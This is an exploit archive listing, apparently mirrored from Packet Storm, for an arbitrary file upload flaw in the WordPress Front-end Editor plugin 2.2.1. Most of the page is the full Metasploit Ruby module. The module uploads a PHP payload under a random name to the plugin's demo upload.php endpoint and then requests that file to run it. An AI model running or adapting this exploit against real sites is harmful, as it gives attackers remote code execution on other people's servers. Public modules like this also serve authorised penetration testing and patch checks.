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Wordpress Front-end Editor File Upload

Wordpress Front-end Editor File Upload
Posted Jun 15, 2015
Authored by Sammy | Site metasploit.com

The Wordpress Front-end Editor plugin contains an authenticated file upload vulnerability. We can upload arbitrary files to the upload folder, because the plugin also uses it's own file upload mechanism instead of the wordpress api it's possible to upload any file type.

tags | exploit, arbitrary, file upload
advisories | OSVDB-83637
MD5 | 4fc58bf83785707b5ad4350ac020f38a

Wordpress Front-end Editor File Upload

Change Mirror Download
##
# This module requires Metasploit: http://metasploit.com/download
# Current source: https://github.com/rapid7/metasploit-framework
##

require 'msf/core'

class Metasploit3 < Msf::Exploit::Remote
Rank = ExcellentRanking

include Msf::HTTP::Wordpress
include Msf::Exploit::FileDropper

def initialize(info = {})
super(update_info(
info,
'Name' => 'Wordpress Front-end Editor File Upload',
'Description' => %q{
The Wordpress Front-end Editor plugin contains an authenticated file upload
vulnerability. We can upload arbitrary files to the upload folder, because
the plugin also uses it's own file upload mechanism instead of the wordpress
api it's possible to upload any file type.
},
'Author' =>
[
'Sammy', # Vulnerability discovery
'Roberto Soares Espreto <robertoespreto[at]gmail.com>' # Metasploit module
],
'License' => MSF_LICENSE,
'References' =>
[
['OSVDB', '83637'],
['WPVDB', '7569'],
['URL', 'http://www.opensyscom.fr/Actualites/wordpress-plugins-front-end-editor-arbitrary-file-upload-vulnerability.html']
],
'Privileged' => false,
'Platform' => ['php'],
'Arch' => ARCH_PHP,
'Targets' => [['Front-End Editor 2.2.1', {}]],
'DefaultTarget' => 0,
'DisclosureDate' => 'Jul 04 2012'))
end

def check
check_plugin_version_from_readme('front-end-editor', '2.3')
end

def exploit
print_status("#{peer} - Trying to upload payload")
filename = "#{rand_text_alpha_lower(5)}.php"

print_status("#{peer} - Uploading payload")
res = send_request_cgi(
'method' => 'POST',
'uri' => normalize_uri(wordpress_url_plugins, 'front-end-editor', 'lib', 'aloha-editor', 'plugins', 'extra', 'draganddropfiles', 'demo', 'upload.php'),
'ctype' => 'application/octet-stream',
'headers' => {
'X-File-Name' => "#{filename}"
},
'data' => payload.encoded
)

if res
if res.code == 200
register_files_for_cleanup(filename)
else
fail_with(Failure::Unknown, "#{peer} - Unexpected response, exploit probably failed!")
end
else
fail_with(Failure::Unknown, 'Server did not respond in an expected way')
end

print_status("#{peer} - Calling uploaded file #{filename}")
send_request_cgi(
{ 'uri' => normalize_uri(wordpress_url_plugins, 'front-end-editor', 'lib', 'aloha-editor', 'plugins', 'extra', 'draganddropfiles', 'demo', "#{filename}") },
5
)
end
end

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